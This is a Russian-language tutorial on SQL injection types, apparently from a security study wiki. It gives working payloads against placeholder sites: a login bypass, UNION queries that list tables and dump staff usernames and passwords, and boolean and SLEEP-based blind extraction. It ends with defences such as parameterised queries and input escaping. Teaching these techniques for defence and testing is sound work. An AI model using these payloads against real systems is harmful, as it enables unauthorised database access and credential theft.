SQL Injection
Также известная как SQLi - уязвимость заключающаяся в передаче злонамеренного SQL запроса в БД. Как правило, для SQL Injection легитимный запрос к БД редактируется таким образом, что путем добавления в запрос управляющих конструкций SQL, он превращается в злонамеренный.
Обрати внимание
Для изучения возможности использования SQLi в форму достаточно отправить '
Различают несколько типов SQLi:
-
In-Band SQLi - Самый простой для нахождения и реализации тип уязвимости. Отличительной особенностью является то, что взаимодействие с БД, происходит напрямую, а результат такого взаимодействия виден сразу.
-
Error-Based SQLi - Основан на анализе ошибок отдаваемых СУБД в процессе выполнения запросов.
-
Union-Based SQLi - Предстваляет из себя расширение In-Band типа с использованием команды
UNION
. -
Blind-SQLi - Тип уязвимостей при котором в отличии от In-Band SQLi явно не отображается результат взаимодействия с БД.
-
Boolean Based SQLi - Подтип уязвимостей Blind-SQLi при котором ответом на запрос является только true или false
-
Time-Based SQLi- Подтип уязвимостей Blind-SQLi при котором индикатором корректного выполнения запроса является время его исполнения. Для этого используется функция
SLEEP()
Подробнее ниже или на странице MySQL
In-Band SQL Injection
Рассмотрим пример: аутентификация пользователей выполняется с помощью следующего запроса:
В таком случае, если в полеpassword
записать ' OR 1=1; --
, можно будет обойти проверку валидности пароля, так как кавычка в начале строки, эквивалентна вводу пустого пароля, условие 1=1 выполняется всегда, а символ --
являющийся обозначением начала комментария, просто отсечет остальную часть запроса:
Другой пример: Представим, что web приложение получает сведения из БД путем запроса:
id_num
передается в БД через GET запрос https://website.net/article?id=1
В таком случае, простое изменение параметра id откроет нам другую статью.
Union-Based SQL Injection
Продолжаем работать с web приложением из первого примера:
Используя UNION
можно попробывать получить доступ к другим таблицам БД.
следует помнить, что основным условием объединения вывода из нескольких таблиц через
UNION
является одинаковое количество столбцов во всех включаемых в запрос таблицах
Перед тем, как получить сведения из интересующих таблиц, нужно сначала узнать какие вообще таблицы присутствуют в БД. Для получения указанной информации придется подёргать БД:
Отправим следующий GET запрос:
Который преобразует легитимный SQL запрос в следующий: Помня о том, что при использованииUNION
количество столбцов должно быть равно, мы скорее всего получим ошибку вида:
SQLSTATE[21000]:
Cardinality violation: 1222
The used SELECT statements have a different number of columns
UNION
до тех пор, пока не получим вывод без ошибок. Для простоты представим, что в таблице article
было всего 3 столбца, тогда:
Далее, не получив ошибку, сделаем так, чтобы данные получаемые из таблицы article
не отображались, а выводились бы только наш изменённый UNION
. Кроме того, теперь мы можем получить название БД:
Получив название БД - DB_NAME
, можем получить наименование таблиц. Для этого воспользуемся служебной таблицей information_schema
в которой хранятся метаданные БД, а также group_concat()
для того, чтобы вывести наименование всех таблиц в одной записи:
https://website.net/article?id=0 UNION SELECT 1,2,group_concat(table_name) \
FROM information_schema.tables WHERE table_schema = 'DB_NAME'
SELECT * FROM article WHERE id = 0
UNION SELECT 1,2,group_concat(table_name) \
FROM information_schema.tables WHERE table_schema = 'DB_NAME';
Получив название таблиц, выберем нужную - staff_users
и получим наименование её столбцов:
https://website.net/article?id=0 UNION SELECT 1,2,group_concat(column_name) \
FROM information_schema.columns WHERE table_name = 'staff_users'
SELECT * FROM article WHERE id=0 UNION SELECT 1,2,group_concat(column_name) \
FROM information_schema.columns WHERE table_name = 'staff_users'
Далее, располагая всей информацией получим заветные сведения:
https://website.net/article?id=0 UNION SELECT 1,2,\
group_concat(username,':',password SEPARATOR '<br>') \
FROM staff_users
SELECT * FROM article WHERE id=0 UNION SELECT 1,2,\
group_concat(username,':',password SEPARATOR '<br>') \
FROM staff_users
Boolean Based SQLi
Представим, что легитимный запрос выглядит следующим образом:
В случае, если мы передадим неверное имя пользователя, получим {taken:false}
Воспользуемся этим и применим технику с использованием UNION
. Будем увеливать количество значений после UNION
до тех пор, пока не получим {taken:true}
. Для простоты, представим, что столбцов в users
всего 3, тогда:
LIKE
совместно с %
, что позволит нам перебирать значения, до тех пор, пока не получим нужное. Предположим, что название БД начинается с буквы, начнём с а
и будем изменять её до тех пор, пока не получим {taken:true}
:
https://website.thm/checkuser?username=test' union select 1,2,3 where database() like 'a%';--
SELECT * FROM users WHERE username = 'test' union select 1,2,3 WHERE database() LIKE 'a%';--' LIMIT 1
Дальнейшие действия понятны - добавляем буквы, цифры, знаки, пока не получим наименование БД. После чего, таким же способом находим таблицы, столбцы, и необходимые значения.
Time-Based SQLi
Принцип работы с таким типом SQLi аналогичен Blind-based SQLi и заключается в переборе значений, для поиска верных, однако в качестве индикатора успешности выполнения запроса используется функция SLEEP()
, успешно выполненная часть запроса с UNION
будет выполнятся определенное количество времени:
SELECT * FROM users WHERE username = 'test' union select SLEEP(5),2,3 WHERE database() LIKE 'a%';--' LIMIT 1
Способы устранения возможности использования SQLi
Все описанные уязвимости могут быть легко купированы, если при разработке архитектуры приложения будут применены следующие простые правила:
-
Использование подготовленных параметризированных запросов.
Передавать данные в запрос в явном виде - верная дорога к SQLi. Заранее подготовленные, параметризированные запросы не допустят изменение структуры запроса путем добавления в него комментариев или кавычек. Кроме того, использование таких запросов делать код более читаемым. -
Выполнять проверку входных данных.
Разрешение вводить только допустимые символы исключит всякую вероятность передачи в запрос различных управляющих последовательностей. - Экранирование спецсимволов.
В случае допустимости ввода спецсимволов в БД, их обязательно нужно экранировать, чтобы СУБД рассматривала их как простой текст.